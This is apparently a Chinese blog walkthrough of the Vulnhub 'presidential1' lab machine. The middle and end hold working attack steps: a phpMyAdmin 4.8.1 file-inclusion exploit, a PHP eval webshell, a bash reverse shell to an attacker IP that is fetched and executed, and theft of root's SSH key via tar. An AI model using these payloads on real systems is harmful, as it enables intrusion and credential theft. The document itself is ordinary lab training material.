当前位置:网站首页>【vulnhub】presidential1
【vulnhub】presidential1
2022-07-06 16:43:00 【开心星人】
博客主页:开心星人的博客主页
系列专栏:vulnhub
欢迎关注点赞收藏️留言
首发时间:2022年7月6日
作者水平很有限,如果发现错误,还望告知,感谢!
导航小助手
因为靶机是host-only模式
我们将kali也设置为host-only模式
主机发现
arp-scan -l
主机号太大或太小的丢掉,因为可能是网关之类的
所以靶机ip为192.168.110.128
端口扫描
nmap -sV -p- 192.168.110.128
访问80端口
看到有人名相关信息,之后可能需要用cwel
dirb目录扫描
dirb http://192.168.110.128
assets目录,先看下
网站源码,看看有没有扫描敏感文件,感觉没有发现什么敏感文件
cgi-bin目录403
nikto和whatweb收集信息
whatweb 192.168.110.128
nikto --url 192.168.110.128
访问一下config.php,确实有这个文件,但是为空
然后尝试会不会是备份文件config.phps 、config.php.bak
访问icons/README
突然对dirb产生了怀疑,为什么这几个文件没有扫出来
dirsearch重新扫目录
./dirsearch.py -u http://192.168.110.128
确实有config.php.bak
因为我以为它会自动下载的,就没有查看源码了
获得数据库的账号密码
打开about.html
其他版块进入不了,只有HOME和ABOUT
所以这个页面就是一个静态页面
尝试用得到的账号密码登录ssh服务
ssh -p 2082 [email protected]
不知道咋回事
cewl爬取字典
cewl http://192.168.110.128 -w dic0.txt
hydra爆破ssh
hydra -L dic0.txt -P dic0.txt ssh://192.168.110.128
看这报错信息,和上面用votebox的报错信息
应该是需要密钥,而不是直接用密码
子域名爆破
没有什么可以利用的信息了
进行子域名爆破
但是我们现在只有服务器的ip地址,没有域名
所以网站域名为votenow.local
更改host文件
vim /etc/hosts
192.168.110.128 votenow.local
想用gobuster、oneforall来爆破子域名的,但是都没有配置好
使用wfuzzwfuzz -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -H "Host: FUZZ.votenow.local" --hw 854 --hc 400 votenow.local
在Prime1靶机fuzz参数的时候用到过,-w 指定字典,-H 指定请求包头部 , --hw 和 --hc 是去除响应为指定长度的结果
得到一个子域名datasafe
写入hosts文件
vim /etc/hosts
192.168.110.128 datasafe.votenow.local
登录数据库
用得到的数据库账号登录
拿到了admin和密码
john破解密码
得到admin的密码为Stella
尝试用admin登录ssh(失败)
ssh -p 2082 [email protected]
确实是必须要证书的
phpmyadmin漏洞渗透
告诉我们了版本号4.8.1searchsploit phpmyadmin
cp /usr/share/exploitdb/exploits/php/webapps/50457.py /root
这个RCE的CVE不太会用
跟着别人用文件包含复现一下
phpMyAdmin 4.8.1 - (Authenticated) Local File Inclusion (1) | php/webapps/44924.txt
phpMyAdmin 4.8.1 - (Authenticated) Local File Inclusion (2) | php/webapps/44928.txt
searchsploit -x php/webapps/44928.txt
构造urlhttp://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_d4qpkliuhiq1anqdkqgc8v10qnq5teq8
复现成功了
我们现在可以写一句话木马<?php eval($_GET["ant"]); ?>
select "<?php echo file_put_contents('/var/www/html/s.php',base64_decode('PD9waHAgZXZhbCgkX0dFVFsiYW50Il0pOyA/Pg=='));exit;?>"
发现这个可能我没弄好有点问题,连不上,直接反弹shellcd /var/www/html | echo 'bash -i >& /dev/tcp/192.168.110.129/1100 0>&1' > shell.sh
python -m SimpleHTTPServer 80
nc -lvvp 1100
执行sqlselect '<?php system("wget 192.168.110.129/shell.sh; chmod +x shell.sh; bash shell.sh");exit;?>'
获得一个交互式的shellpython -c 'import pty; pty.spawn("/bin/bash")'
提权
su admin
tarS -cvf key.tar /root/.ssh/id_rsa
tar -xvf key.tar
cd root/.ssh
ssh -i id_rsa root@localhost -p 2082
结束
边栏推荐
- Compile logisim
- 谷歌百度雅虎都是中国公司开发的通用搜索引擎_百度搜索引擎url
- 【精品】pinia 基于插件pinia-plugin-persist的 持久化
- js导入excel&导出excel
- Leecode brushes questions to record interview questions 17.16 massagist
- GEO数据挖掘(三)使用DAVID数据库进行GO、KEGG富集分析
- Close unregistering application XXX with Eureka with status down after Eureka client starts
- C language input / output stream and file operation [II]
- System activity monitor ISTAT menus 6.61 (1185) Chinese repair
- Oracle中使用包FY_Recover_Data.pck来恢复truncate误操作的表
猜你喜欢
How can computers ensure data security in the quantum era? The United States announced four alternative encryption algorithms
Imeta | Chen Chengjie / Xia Rui of South China Agricultural University released a simple method of constructing Circos map by tbtools
2022/2/12 summary
Do you still have to rely on Simba to shout for a new business that is Kwai?
File and image comparison tool kaleidoscope latest download
Devops can help reduce technology debt in ten ways
Tourism Management System Based on jsp+servlet+mysql framework [source code + database + report]
[automated testing framework] what you need to know about unittest
基于jsp+servlet+mysql框架的旅游管理系统【源码+数据库+报告】
Cas d'essai fonctionnel universel de l'application
随机推荐
2022 PMP project management examination agile knowledge points (9)
js导入excel&导出excel
Pdf document signature Guide
准备好在CI/CD中自动化持续部署了吗?
从外企离开,我才知道什么叫尊重跟合规…
三句话简要介绍子网掩码
Leecode brush questions record interview questions 32 - I. print binary tree from top to bottom
1000字精选 —— 接口测试基础
Pinia module division
Why is bat still addicted to 996 when the four-day working system is being tried out in Britain?
Automatic test tool katalon (WEB) test operation instructions
互动滑轨屏演示能为企业展厅带来什么
Business process testing based on functional testing
[212] what are three methods for PHP to send post requests
什么是响应式对象?响应式对象的创建过程?
SuperSocket 1.6 创建一个简易的报文长度在头部的Socket服务器
Close unregistering application XXX with Eureka with status down after Eureka client starts
app通用功能测试用例
PostgreSQL uses pgpool II to realize read-write separation + load balancing
Things like random